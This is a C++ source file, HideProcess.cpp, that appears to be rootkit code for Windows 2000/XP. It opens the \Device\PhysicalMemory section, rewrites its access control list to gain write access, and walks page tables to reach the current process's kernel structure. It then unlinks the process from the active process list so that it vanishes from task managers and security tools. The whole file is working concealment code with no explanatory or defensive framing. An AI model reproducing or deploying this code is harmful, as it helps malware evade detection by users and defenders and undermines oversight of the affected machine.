CPP源文件: ///////////////////////////////////////////////////////////////////////////// //HideProcess.cpp #include<windows.h> #include<Accctrl.h> #include<Aclapi.h>
#include"HideProcess.h"
#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK { NTSTATUS Status; ULONG Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
#define OBJ_INHERIT 0x00000002L #define OBJ_PERMANENT 0x00000010L #define OBJ_EXCLUSIVE 0x00000020L #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_OPENIF 0x00000080L #define OBJ_OPENLINK 0x00000100L #define OBJ_KERNEL_HANDLE 0x00000200L #define OBJ_VALID_ATTRIBUTES 0x000003F2L
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef NTSTATUS (CALLBACK* ZWOPENSECTION)( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes );
typedef VOID (CALLBACK* RTLINITUNICODESTRING)( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString );
RTLINITUNICODESTRING RtlInitUnicodeString; ZWOPENSECTION ZwOpenSection; HMODULE g_hNtDLL = NULL; PVOID g_pMapPhysicalMemory = NULL; HANDLE g_hMPM = NULL; OSVERSIONINFO g_osvi; //--------------------------------------------------------------------------- BOOL InitNTDLL() { g_hNtDLL = LoadLibrary("ntdll.dll");
if (NULL == g_hNtDLL) return FALSE;
RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,
"RtlInitUnicodeString"); ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");
return TRUE; } //--------------------------------------------------------------------------- VOID CloseNTDLL() { if(NULL != g_hNtDLL) FreeLibrary(g_hNtDLL);
g_hNtDLL = NULL; } //--------------------------------------------------------------------------- VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) { PACL pDacl = NULL; PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL,
NULL, &pDacl, NULL, &pSD);
if(ERROR_SUCCESS != dwRes) {
if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pNewDacl); }
EXPLICIT_ACCESS ea; RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = SECTION_MAP_WRITE; ea.grfAccessMode = GRANT_ACCESS; ea.grfInheritance= NO_INHERITANCE; ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; ea.Trustee.ptstrName = "CURRENT_USER";
dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl); if(ERROR_SUCCESS != dwRes) {
if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pNewDacl); } dwRes = SetSecurityInfo
(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL); if(ERROR_SUCCESS != dwRes) {
if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pNewDacl); }
} //--------------------------------------------------------------------------- HANDLE OpenPhysicalMemory() { NTSTATUS status; UNICODE_STRING physmemString; OBJECT_ATTRIBUTES attributes; ULONG PhyDirectory;
g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx (&g_osvi);
if (5 != g_osvi.dwMajorVersion) return NULL;
switch(g_osvi.dwMinorVersion) { case 0: PhyDirectory = 0x30000; break; //2k case 1: PhyDirectory = 0x39000; break; //xp default: return NULL; }
RtlInitUnicodeString(&physmemString, L"//Device//PhysicalMemory");
attributes.Length = sizeof(OBJECT_ATTRIBUTES); attributes.RootDirectory = NULL; attributes.ObjectName = &physmemString; attributes.Attributes = 0; attributes.SecurityDescriptor = NULL; attributes.SecurityQualityOfService = NULL;
status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);
if(status == STATUS_ACCESS_DENIED) { status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes); SetPhyscialMemorySectionCanBeWrited(g_hMPM); CloseHandle(g_hMPM); status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes); }
if(!NT_SUCCESS(status)) return NULL;
g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory,
0x1000);
if( g_pMapPhysicalMemory == NULL ) return NULL;
return g_hMPM; } //--------------------------------------------------------------------------- PVOID LinearToPhys(PULONG BaseAddress, PVOID addr) { ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr; PGDE = BaseAddress[VAddr>>22];
if (0 == (PGDE&1)) return 0;
ULONG tmp = PGDE & 0x00000080;
if (0 != tmp) { PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF); } else { PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000); PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12]; if (0 == (PTE&1)) return 0;
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF); UnmapViewOfFile((PVOID)PGDE); }
return (PVOID)PAddr; } //--------------------------------------------------------------------------- ULONG GetData(PVOID addr) { ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr); PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys &
0xfffff000, 0x1000); if (0 == tmp) return 0;
ULONG ret = tmp[(phys & 0xFFF)>>2]; UnmapViewOfFile(tmp);
return ret; } //--------------------------------------------------------------------------- BOOL SetData(PVOID addr,ULONG data) { ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr); PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
if (0 == tmp) return FALSE;
tmp[(phys & 0xFFF)>>2] = data; UnmapViewOfFile(tmp);
return TRUE; } //--------------------------------------------------------------------------- long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp) { ExitProcess(0); return 1 ; } //--------------------------------------------------------------------------- BOOL YHideProcess() { // SetUnhandledExceptionFilter(exeception);
if (FALSE == InitNTDLL()) return FALSE;
if (0 == OpenPhysicalMemory()) return FALSE;
ULONG thread = GetData((PVOID)0xFFDFF124); //kteb ULONG process = GetData(PVOID(thread + 0x44)); //kpeb
ULONG fw, bw; if (0 == g_osvi.dwMinorVersion) { fw = GetData(PVOID(process + 0xa0)); bw = GetData(PVOID(process + 0xa4)); }
if (1 == g_osvi.dwMinorVersion) { fw = GetData(PVOID(process + 0x88)); bw = GetData(PVOID(process + 0x8c)); } SetData(PVOID(fw + 4), bw); SetData(PVOID(bw), fw);
CloseHandle(g_hMPM); CloseNTDLL();
return TRUE; }
BOOL HideProcess() { static BOOL b_hide = false; if (!b_hide) { b_hide = true; YHideProcess(); return true; } return true; }
|